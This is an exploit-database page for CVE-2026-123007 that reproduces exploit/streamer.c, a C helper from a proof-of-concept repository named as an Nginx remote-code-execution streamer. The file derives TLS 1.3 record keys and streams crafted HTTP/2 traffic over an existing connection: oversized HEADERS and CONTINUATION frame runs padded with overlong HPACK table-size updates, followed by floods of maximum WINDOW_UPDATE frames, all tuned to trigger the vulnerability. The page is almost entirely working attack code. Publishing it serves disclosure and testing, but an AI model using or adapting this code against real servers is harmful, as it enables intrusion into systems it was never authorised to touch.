Exploit database

GH-c6ac2ca0a09a35186b2a726587b1665b

sfewer-r7/cve-2026-123007

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2026-123007

23 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars.

Repository files6
sfewer-r7/cve-2026-123007Revision ebff45f1b52e

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

exploit/streamer.c

C · 14,301 bytes
#define _GNU_SOURCE
#include <arpa/inet.h>
#include <errno.h>
#include <inttypes.h>
#include <netinet/tcp.h>
#include <openssl/crypto.h>
#include <openssl/evp.h>
#include <openssl/hmac.h>
#include <signal.h>
#include <poll.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <time.h>
#include <unistd.h>

/* TLS 1.3 application records are capped here to match Python and Nginx. */
#define APP_RECORD 16384
#define TAG_SIZE 16
#define HELPER_PROTOCOL "nginx-rce-streamer/2"

typedef struct {
    int fd;
    EVP_CIPHER_CTX *aead;
    const EVP_CIPHER *cipher;
    unsigned char key[32], iv[12];
    size_t key_len;
    uint64_t seq, records, app_bytes, wire_bytes;
    unsigned char app[APP_RECORD];
    size_t used;
} writer_t;

static double now_sec(void) {
    struct timespec ts;
    clock_gettime(CLOCK_MONOTONIC, &ts);
    return ts.tv_sec + ts.tv_nsec / 1e9;
}

static void fail(const char *what) {
    fprintf(stderr, "%s: %s\n", what, strerror(errno));
    exit(2);
}

static int unhex(const char *s, unsigned char *out, size_t cap) {
    size_t n = strlen(s);
    if ((n & 1) || n / 2 > cap) return -1;
    for (size_t i = 0; i < n / 2; i++) {
        char b[3] = {s[2*i], s[2*i+1], 0};
        char *e;
        unsigned long v = strtoul(b, &e, 16);
        if (*e) return -1;
        out[i] = (unsigned char)v;
    }
    return (int)(n / 2);
}

static void hkdf_expand(const EVP_MD *md, const unsigned char *secret,
                        size_t secret_len, const unsigned char *info,
                        size_t info_len, unsigned char *out, size_t out_len) {
    unsigned char t[EVP_MAX_MD_SIZE], message[EVP_MAX_MD_SIZE + 260];
    unsigned int t_len = 0;
    size_t done = 0;
    /* This is the small RFC 5869 expand loop used for TLS traffic labels. */
    for (unsigned char counter = 1; done < out_len; counter++) {
        size_t m = 0;
        if (t_len) { memcpy(message, t, t_len); m += t_len; }
        memcpy(message + m, info, info_len); m += info_len;
        message[m++] = counter;
        HMAC(md, secret, (int)secret_len, message, m, t, &t_len);
        size_t take = out_len - done < t_len ? out_len - done : t_len;
        memcpy(out + done, t, take); done += take;
    }
}

static void hkdf_label(const EVP_MD *md, const unsigned char *secret,
                       size_t secret_len, const char *label,
                       unsigned char *out, size_t out_len) {
    unsigned char info[260];
    const char *prefix = "tls13 ";
    size_t ll = strlen(prefix) + strlen(label), n = 0;
    info[n++] = (unsigned char)(out_len >> 8); info[n++] = (unsigned char)out_len;
    info[n++] = (unsigned char)ll;
    memcpy(info + n, prefix, strlen(prefix)); n += strlen(prefix);
    memcpy(info + n, label, strlen(label)); n += strlen(label);
    info[n++] = 0;
    hkdf_expand(md, secret, secret_len, info, n, out, out_len);
}

static void send_all(int fd, const unsigned char *p, size_t n) {
    while (n) {
        ssize_t w = send(fd, p, n, MSG_NOSIGNAL);
        if (w < 0) {
            if (errno == EINTR) continue;
            if (errno == EAGAIN || errno == EWOULDBLOCK) {
                /* Preserve the target's backpressure instead of buffering a
                 * second copy of the very large schedule in this process. */
                struct pollfd pfd = {.fd=fd,.events=POLLOUT};
                if (poll(&pfd,1,-1)<0) fail("poll");
                continue;
            }
            fail("send");
        }
        if (!w) { errno = EPIPE; fail("send zero"); }
        p += w; n -= (size_t)w;
    }
}

static void flush(writer_t *w) {
    if (!w->used) return;
    unsigned char wire[5 + APP_RECORD + 1 + TAG_SIZE], nonce[12], inner = 23;
    size_t c_len = w->used + 1 + TAG_SIZE;
    wire[0] = 0x17; wire[1] = 0x03; wire[2] = 0x03;
    wire[3] = (unsigned char)(c_len >> 8); wire[4] = (unsigned char)c_len;
    /* TLS 1.3 derives each nonce by XORing the record sequence into the IV. */
    memcpy(nonce, w->iv, 12);
    for (int i = 0; i < 8; i++) nonce[11-i] ^= (unsigned char)(w->seq >> (8*i));
    int n = 0, total = 0;
    if (EVP_EncryptInit_ex(w->aead, NULL, NULL, NULL, nonce) != 1) exit(3);
    /* The five-byte TLS header is authenticated but not encrypted. */
    if (EVP_EncryptUpdate(w->aead, NULL, &n, wire, 5) != 1) exit(3);
    if (EVP_EncryptUpdate(w->aead, wire + 5, &n, w->app,
                          (int)w->used) != 1) exit(3);
    total = n;
    if (EVP_EncryptUpdate(w->aead, wire + 5 + total, &n, &inner, 1) != 1)
        exit(3);
    total += n;
    if (EVP_EncryptFinal_ex(w->aead, wire + 5 + total, &n) != 1) exit(3);
    total += n;
    if (total != (int)w->used + 1) exit(3);
    if (EVP_CIPHER_CTX_ctrl(w->aead, EVP_CTRL_GCM_GET_TAG, TAG_SIZE,
                            wire + 5 + total) != 1) exit(3);
    /* Only complete authenticated records reach the inherited target socket. */
    send_all(w->fd, wire, 5 + c_len);
    w->app_bytes += w->used; w->wire_bytes += 5 + c_len;
    w->records++; w->seq++; w->used = 0;
}

static void emit(writer_t *w, const unsigned char *p, size_t n) {
    while (n) {
        size_t take = APP_RECORD - w->used;
        if (take > n) take = n;
        memcpy(w->app + w->used, p, take); w->used += take;
        p += take; n -= take;
        if (w->used == APP_RECORD) flush(w);
    }
}

static void repeat_byte(writer_t *w, unsigned char b, uint64_t n) {
    while (n) {
        size_t take = APP_RECORD - w->used;
        if (take > n) take = (size_t)n;
        memset(w->app + w->used, b, take); w->used += take; n -= take;
        if (w->used == APP_RECORD) flush(w);
    }
}

static void repeat_pattern(writer_t *w, const unsigned char *blocks,
                           size_t pattern_len, uint64_t n) {
    size_t phase = 0;
    while (n) {
        size_t take = APP_RECORD - w->used;
        if (take > n) take = (size_t)n;
        /* Each pre-rotated block starts at the current four-byte HPACK phase. */
        emit(w, blocks + phase * APP_RECORD, take);
        phase = (phase + take) % pattern_len;
        n -= take;
    }
}

static void progress(FILE *f, const writer_t *w, const char *phase,
                     uint64_t done, uint64_t total, double started) {
    if (!f) return;
    fprintf(f, "{\"phase\":\"%s\",\"done\":%" PRIu64
            ",\"total\":%" PRIu64 ",\"records\":%" PRIu64
            ",\"app_bytes\":%" PRIu64 ",\"wire_bytes\":%" PRIu64
            ",\"elapsed_seconds\":%.6f}\n", phase, done, total,
            w->records, w->app_bytes, w->wire_bytes, now_sec()-started);
    fflush(f);
}

int main(int argc, char **argv) {
    if (argc == 2 && !strcmp(argv[1], "--version")) {
        puts(HELPER_PROTOCOL);
        return 0;
    }
    if (argc != 14) {
        fprintf(stderr, "usage: %s fd secret_hex cipher seq carrier_frames frames_per_request first_sid "
            "wu_count wu_phase progress carrier_head_hex carrier_frame_payload carrier_filler_hex\n",
            argv[0]);
        return 2;
    }
    /* Report EPIPE as a normal helper failure instead of dying by signal. */
    signal(SIGPIPE, SIG_IGN);
    writer_t w = {.fd=atoi(argv[1]), .seq=strtoull(argv[4], NULL, 0)};
    unsigned char secret[64], filler[8];
    /* Python supplies the routing-sensitive HPACK HEAD block as hex. */
    size_t head_cap = strlen(argv[11]) / 2;
    unsigned char *head = malloc(head_cap ? head_cap : 1);
    if (!head) return 3;
    int secret_len = unhex(argv[2], secret, sizeof(secret));
    int filler_len = unhex(argv[13], filler, sizeof(filler));
    /* Python supplies this block so carrier requests use the selected vhost. */
    int head_len = unhex(argv[11], head, head_cap);
    if (secret_len < 0 || head_len < 0 || filler_len < 0) {
        fprintf(stderr, "bad hex\n"); return 2;
    }
    const EVP_MD *md;
    if (!strcmp(argv[3], "TLS_AES_256_GCM_SHA384")) {
        w.cipher = EVP_aes_256_gcm(); w.key_len=32; md=EVP_sha384();
    } else if (!strcmp(argv[3], "TLS_AES_128_GCM_SHA256")) {
        w.cipher = EVP_aes_128_gcm(); w.key_len=16; md=EVP_sha256();
    } else if (!strcmp(argv[3], "TLS_CHACHA20_POLY1305_SHA256")) {
        w.cipher = EVP_chacha20_poly1305(); w.key_len=32; md=EVP_sha256();
    } else { fprintf(stderr, "unsupported cipher\n"); return 2; }
    /* Derive exactly the key/IV Python would use at this TLS sequence. */
    hkdf_label(md, secret, (size_t)secret_len, "key", w.key, w.key_len);
    hkdf_label(md, secret, (size_t)secret_len, "iv", w.iv, sizeof(w.iv));
    w.aead=EVP_CIPHER_CTX_new();
    if (!w.aead) return 3;
    if (EVP_EncryptInit_ex(w.aead, w.cipher, NULL, w.key, NULL) != 1) return 3;
    EVP_CIPHER_CTX_ctrl(w.aead, EVP_CTRL_GCM_SET_IVLEN, 12, NULL);
    uint64_t frames=strtoull(argv[5],NULL,0), per_request=strtoull(argv[6],NULL,0);
    uint64_t sid=strtoull(argv[7],NULL,0), first_sid=sid;
    uint64_t wus=strtoull(argv[8],NULL,0), wu_phase=strtoull(argv[9],NULL,0);
    uint64_t carrier_payload=strtoull(argv[12],NULL,0);
    FILE *pf = argv[10][0] ? fopen(argv[10], "a") : NULL;
    if (argv[10][0] && !pf) fail("open progress");
    if (wu_phase >= 13) { fprintf(stderr, "wu_phase must be 0..12\n"); return 2; }
    if (!per_request || (frames && frames % per_request)) {
        fprintf(stderr, "carrier_frames must be zero or a multiple of frames_per_request\n");
        return 2;
    }
    if ((frames == 0) == (wus == 0)) {
        fprintf(stderr, "select exactly one carrier or WINDOW_UPDATE mode\n");
        return 2;
    }
    /* Carrier mode emits HPACK bytes; numeric mode emits only WU frames. */
    if ((frames && (head_len <= 0 || carrier_payload > 0xffffff
                    || carrier_payload < (uint64_t)head_len
                    || (filler_len != 1 && filler_len != 4)
                    || (filler_len == 1 && filler[0] != 0x20)
                    || (filler_len == 4
                        && memcmp(filler, "\x3f\x80\x80\x00", 4))))
            || (!frames && (head_len || filler_len || carrier_payload))) {
        fprintf(stderr, "invalid carrier_frame_payload\n"); return 2;
    }
    unsigned char *filler_blocks = NULL;
    if (frames) {
        filler_blocks = malloc((size_t)filler_len * APP_RECORD);
        if (!filler_blocks) return 3;
        /* Pre-rotation avoids a modulus or tiny copy inside the hot loop. */
        for (int phase = 0; phase < filler_len; phase++) {
            for (size_t i = 0; i < APP_RECORD; i++) {
                filler_blocks[(size_t)phase * APP_RECORD + i]
                    = filler[(phase + i) % filler_len];
            }
        }
    }
    double started=now_sec();
    for (uint64_t i=0;i<frames;i++) {
        uint64_t in_request=i%per_request;
        /* One HEADERS frame starts each request; CONTINUATION frames reuse its
         * stream and the final one ends the block. */
        unsigned char type=in_request ? 9 : 1;
        unsigned char flags=(in_request==0 ? 1 : 0)
                            | (in_request+1==per_request ? 4 : 0);
        unsigned char fh[9]={(unsigned char)(carrier_payload>>16),
            (unsigned char)(carrier_payload>>8),(unsigned char)carrier_payload,type,flags,
            (unsigned char)(sid>>24),(unsigned char)(sid>>16),
            (unsigned char)(sid>>8),(unsigned char)sid};
        emit(&w,fh,9);
        uint64_t filler_bytes = carrier_payload;
        if (in_request+1==per_request) filler_bytes -= (uint64_t)head_len;
        if (filler_len == 1) {
            repeat_byte(&w, 0x20, filler_bytes);
        } else if (filler_bytes) {
            /* Keep every encoded integer inside this physical H2 frame and
             * restore capacity zero before a CONTINUATION or real field. */
            /* 3f808000 is an overlong zero table-size update. Keep each value
             * inside the physical H2 frame, then finish with canonical zero. */
            uint64_t fast_bytes = (filler_bytes - 1) & ~3ULL;
            repeat_pattern(&w, filler_blocks, 4, fast_bytes);
            repeat_byte(&w, 0x20, filler_bytes - fast_bytes);
        }
        if (in_request+1==per_request) {
            emit(&w,head,(size_t)head_len);
        }
        /* Do not coalesce across physical H2 frames: their TLS boundaries are
         * part of the calibrated input-event behavior. */
        flush(&w);
        if (in_request+1==per_request) sid+=2;
        if ((i+1)%64==0 || i+1==frames) progress(pf,&w,"carrier",i+1,frames,started);
    }
    /* A maximum legal connection WINDOW_UPDATE is 13 bytes on the wire. */
    const unsigned char wu[13]={0,0,4,8,0,0,0,0,0,0x7f,0xff,0xff,0xff};
    unsigned char pattern[APP_RECORD + 13];
    for (size_t i=0;i<sizeof(pattern);i++) pattern[i]=wu[i%13];
    uint64_t remaining;
    if (__builtin_mul_overflow(wus,(uint64_t)13,&remaining)) return 2;
    uint64_t wu_total=wus, offset=0;
    /* Start at wu_phase because Python may have already sent part of a frame. */
    while (remaining) {
        size_t take=remaining<APP_RECORD?(size_t)remaining:APP_RECORD;
        emit(&w,pattern + (wu_phase+offset)%13,take);
        offset+=take; remaining-=take;
    }
    flush(&w);
    progress(pf,&w,"wu",offset/13,wu_total,started);
    progress(pf,&w,"done",wu_total,wu_total,started);
    /* Python verifies this ledger before adopting final_sequence. */
    printf("{\"ok\":true,\"carrier_frames\":%" PRIu64 ",\"frames_per_request\":%" PRIu64
           ",\"carrier_requests\":%" PRIu64 ",\"carrier_payload_bytes\":%" PRIu64
           ",\"carrier_frame_bytes\":%" PRIu64 ",\"first_sid\":%" PRIu64 ",\"next_sid\":%" PRIu64
           ",\"wu_count\":%" PRIu64 ",\"wu_initial_phase\":%" PRIu64
           ",\"start_sequence\":%s,\"final_sequence\":%" PRIu64
           ",\"records\":%" PRIu64 ",\"application_bytes\":%" PRIu64
           ",\"wire_bytes\":%" PRIu64 ",\"elapsed_seconds\":%.6f}\n",
           frames,per_request,frames/per_request,frames*carrier_payload,
           frames*(carrier_payload+9),first_sid,sid,wus,wu_phase,argv[4],
           w.seq,w.records,w.app_bytes,w.wire_bytes,now_sec()-started);
    if (pf) fclose(pf);
    OPENSSL_cleanse(secret,sizeof(secret)); OPENSSL_cleanse(w.key,sizeof(w.key));
    OPENSSL_cleanse(head,head_cap); free(head); free(filler_blocks);
    EVP_CIPHER_CTX_free(w.aead);
    return 0;
}